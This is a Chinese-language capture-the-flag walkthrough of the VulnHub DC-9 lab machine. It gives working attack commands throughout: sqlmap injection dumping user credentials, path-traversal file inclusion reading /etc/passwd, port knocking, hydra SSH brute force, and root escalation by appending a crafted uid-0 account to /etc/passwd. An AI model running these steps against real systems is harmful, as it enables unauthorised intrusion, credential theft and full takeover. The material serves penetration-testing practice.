一、准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
1.靶场环境
下载链接:https://download.vulnhub.com/dc/DC-9.zip
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)扫描靶机开放的端口及其服务
nmap -A -p- 192.168.101.122
2.网站的信息收集
(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息
(2)使用sqlmap命令
它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" --dbs#获取当前数据库
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users --tables# 获取表名
sqlmap -u"http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails --columns
#获取字段名
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump #获取账号密码
查询数据库名
查询users数据库下面的表名
获取userDetails字段名获取员工的账号密码
这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个Staff数据库看看会有什么东西:
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff --tables
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff -T Users --dump
尝试用得到的用户密码登录
注意:File does not exist 这句话它说文件不存在
三、枚举
1.看看本地文件是否存在文件包含漏洞
访问:http://192.168.101.122/manage.php?file=../../../../../../../../etc/passwd
2.查看ssh配置文件knockd.conf
访问:http://192.168.101.122/manage.php?file=../../../../../../../../etc/knockd.conf
发现ssh 自定义的端口号
四、ssh连接
1.知道端口号后,然后进行敲门,
for x in 7469 8475 9842; do nc 192.168.101.122 $x;done
nmap -sV -A 192.168.101.122 -p 22
2.使用nmap命令查看靶机ssh访服务是否能够正常运行
nmap -p22 192.168.101.122
3.ssh开启了,但需要账号密码,把之前爆破的员工账号密码分别写入两个字典
kali@kali:~$ vi password.txt
kali@kali:~$ cat password.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
kali@kali:~$ vi username.txt
kali@kali:~$ cat username.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
4.hydra字典爆破
(1)通过ssh爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
(2)得到了两个用户密码,其中有个是管理员,先用janitor用户登录
ssh janitor@192.168.101.122
(3)在.secrets-for-putin,发现密码字典,将收集到的密码放入刚才的password文件里面
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
(4)在kali再一次使用hydra爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
(5)用fredf用户进行ssh登录
ssh fredf@192.168.101.122
五、提权
1.查看当前用户可以执行的操作
sudo -l
2.查看/opt/devstuff目录下的test.py
如上图可知进入 /opt/devstuff/dist/test/test不需要密码,进入该目录下查看
cd /opt/devstuff
cat test.py
test.py是一个python脚本。它既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。
3.在kali使用openssl工具先创建一个本地的加密用户
openssl passwd -1 -salt admin 111111
4.提权
在靶机/opt/devstuff/dist/test目录下面创建一个叫swn的文件(随便命名) 再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/swn
sudo ./test /tmp/swn /etc/passwd
su admin
cd /root
cat theflag.txt